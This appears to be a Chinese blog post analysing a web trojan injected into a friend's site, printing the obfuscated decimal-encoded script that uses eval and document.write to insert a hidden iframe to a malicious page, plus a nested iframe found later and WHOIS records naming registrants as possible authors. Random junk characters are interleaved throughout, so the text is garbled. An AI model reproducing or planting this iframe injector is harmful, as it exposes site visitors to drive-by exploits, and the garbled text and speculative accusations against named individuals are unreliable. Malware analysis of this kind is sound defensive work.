首发在我的博客里面，
+ G"=1sxJ / gL(4 0 http://www.areway.cn/?p=175 8;4vr@EV Pqo _ +fL+ Op,C e4A 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
r*N:-I~z X |.'_6l. <script>t=’60,105,102,114,97,109,101,
Id
*Gs>4U 32,115,114,99,61,104,116,116,112,58,47,47,
jx!) N> 102,114,101,101,46,117,45,117,117,117,46,99,
lInq= 110,47,101,114,114,111,114,46,104,116,109,
ro6|N?' 32,119,105,100,116,104,61,49,48,48,32,104,
pNcNU[c 101,105,103,104,116,61,48,62,60,47,105,102,
*SzP7]1 m 114,97,109,101,62′;
AEX]_1TG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#57nm]? oylY1~~}0K <script>t=’60,105,102,114,97,109,101,32,115,
^uW](2 114,99,61,104,116,116,112,58,47,47,102,114,
_ YWw7q 101,101,46,117,45,117,117,117,46,99,110,47,
H?sl_3- # 101,114,114,111,114,46,104,116,109,32,119,
9.qI hg 105,100,116,104,61,49,48,48,32,104,101,105,
>>rW- & 103,104,116,61,48,62,60,47,105,102,114,97,
?t 'ZX~k 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
3q R@$pm document.write(t);</script>
MxuwEV|^ ik+qx~+`Qv <html xmlns=”
7 B _;YT http://www.w3.org/1999/xhtml R@5jEf “>
T3[\;ib} <head>
+h pXMO%? <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
lJ3/^Htn <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
6i( V+ <title>首页 - 爱生活家庭网
MX|CL{H o*: VG\#Z6 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Mlb=,l 转换字符串后的大概内容是（谁点击后果自付）：
/wK5YN.em <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
[`_&d7{-4b 6`]R)i] 查询玉米u-uuu.cn的详细信息：
v'a]SpE5 Domain Name: u-uuu.cn
KwN o/x|
v ROID: 20070901s10001s64972306-cn
?cG+rC% Domain Status: ok
r42[pi]F Registrant Organization: 王雷
a_^3:}i~D Registrant Name: 王雷
mn{8"@Z Administrative Email:
czlovexs@126.com n&i WYECz Sponsoring Registrar: 北京万网志成科技有限公司
P!,\V\TY] Name Server:ns.yovole.com
#^gn,^QQ Name Server:ns1.yovole.com
{:IOTy Registration Date: 2007-09-01 17:54
GxLoN Vr Expiration Date: 2008-09-01 17:54
(ivV [ 最后PING了一下地址 都没有什么….
n!|K# V5i_\A 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
QUa z;kNC7 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
#StD]d <script language=”javascript” src=”
X"(!\{ySI; http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I --WS[ >
`4.Wdi-Si 这个玉米应该有可能是木马作者的：
s24-X1d(9 foafau.info的详细信息：
GI WgfE? Access to INFO WHOIS information is provided to assist persons in
W:aAe%S determining the contents of a domain name registration record in the
yc+#LZ~(a Afilias registry database. The data in this record is provided by
VBF3N5
;W Afilias Limited for informational purposes only, and Afilias does not
K? BWl:^x guarantee its accuracy. This service is intended only for query-based
| H2{%! access. You agree that you will use this data only for lawful purposes
>B>CV8p6w and that, under no circumstances will you use this data to: (a) allow,
RecA?-0 enable, or otherwise support the transmission by e-mail, telephone, or
/SY40;k: facsimile of mass unsolicited, commercial advertising or solicitations
- D lKFN to entities other than the data recipient’s own existing customers; or
NS#qein~i (b) enable high volume, automated, electronic processes that send
%;!@\5$ queries or data to the systems of Registry Operator, a Registrar, or
xp7,0'(; Afilias except as reasonably necessary to register domain names or
doBfpQ 2 modify existing registrations. All rights reserved. Afilias reserves
o$\ {&:y the right to modify these terms at any time. By submitting this query,
?|%^'(U} you agree to abide by this policy.
/R''R :j Domain ID:D22418703-LRMS
/ >Wh Domain Name:FOAFAU.INFO
W([)b[-* Created On:20-Nov-2007 16:05:42 UTC
0'Tq W9P Last Updated On:20-Nov-2007 16:05:44 UTC
+%>s\W+?] Expiration Date:20-Nov-2008 16:05:42 UTC
PkLRQ} Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
C(3yJzg>y Status:CLIENT DELETE PROHIBITED
.lb2`!'r& Status:CLIENT RENEW PROHIBITED
CJJ 1aM Status:CLIENT TRANSFER PROHIBITED
=9\=5_V Status:CLIENT UPDATE PROHIBITED
uw
L T$ Status:TRANSFER PROHIBITED
Y` LZ/Tgk Registrant ID:GODA-040110615
~{n_r KYV Registrant Name:liu hong
[])M2_ Registrant Organization:
}y LdU|'W Registrant Street1:beijing
; QR|v Registrant Street2:
prlnK Registrant Street3:
5u:+hB Registrant City:beijing
Gu V -[ Registrant State/Province:
doFp53NhV Registrant Postal Code:100000
%Wom]/&,' Registrant Country:CN
s2@N&7"u) Registrant Phone:+86.860108888777
rzDqfecOmW Registrant Phone Ext.:
8!TbJ VR Registrant FAX:
2K..
;A$ Registrant FAX Ext.:
#v:< \-MjN Registrant Email:bbbshiji@163.com
7t\kof Admin ID:GODA-240110615
V{HZ/p_Y Admin Name:liu hong
.Ap[C? mV Admin Organization:
c?}C { Admin Street1:beijing
3! dD !' Admin Street2:
j5R= K*y Admin Street3:
x~$P.X7(~ Admin City:beijing
GLwL'C'591 Admin State/Province:
CHd w>/5 Admin Postal Code:100000
N Rcg~Nu Admin Country:CN
6vX+- f Admin Phone:+86.860108888777
zf$OC}|\w Admin Phone Ext.:
'M_8U0k Admin FAX:
<eO 7b6_ Admin FAX Ext.:
F@ZG| &
Admin Email:bbbshiji@163.com
69cOdIt^D Billing ID:GODA-340110615
t}cj8DC! Billing Name:liu hong
BC(f1 Billing Organization:
~"gOq"y 5p Billing Street1:beijing
7Hf6$2Wh Billing Street2:
Sj+ gf ~~ Billing Street3:
yZb@ Billing City:beijing
RL~ \/# Billing State/Province:
#Jy+: |jJ Billing Postal Code:100000
/_* : Billing Country:CN
q
.tVNKy% Billing Phone:+86.860108888777
E5jK}1t4V Billing Phone Ext.:
/Or76kE Billing FAX:
y@~.b^?_u Billing FAX Ext.:
`y;& M8. Billing Email:bbbshiji@163.com
z:+Xs!S Tech ID:GODA-140110615
;)83tx
/ Tech Name:liu hong
3Nr8H.u&q Tech Organization:
* gMuo6 Tech Street1:beijing
Y;e@ `.( Tech Street2:
4-E9a _ Tech Street3:
a gB Kp! Tech City:beijing
)Si`>o3T-. Tech State/Province:
2a5yJeaIv* Tech Postal Code:100000
*W(b = u Tech Country:CN
-3wg9uZ & Tech Phone:+86.860108888777
SQvicZAN)` Tech Phone Ext.:
=WyAOgy} Tech FAX:
(-B0fqh=G Tech FAX Ext.:
cC "7Vt9b Tech Email:bbbshiji@163.com
'V4.umj1~ Name Server:NS27.DOMAINCONTROL.COM
t82Bp[t Name Server:NS28.DOMAINCONTROL.COM
IhM-a
Y
y5 Name Server:
CS50wY Name Server:
K.o?g?&< Name Server:
!h?N)9 e Name Server:
bp_3ETK]P Name Server:
/iy2j8: z Name Server:
/J/r 62 Name Server:
W;~^3Hz6 Name Server:
%- %/3 Name Server:
\Vm{5[ :SA Name Server:
@F=ZGmq Name Server:
8}xU]N#EV 2J 9eeN 接着下载每个文件里面的代码：
S]<G|mn, 一步一步看..
hh+GW*'~ 
~>>o'H6 
tI.(+-q 
XiKv2vwA 
* fSa8CV 
}9Y='+.%^ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
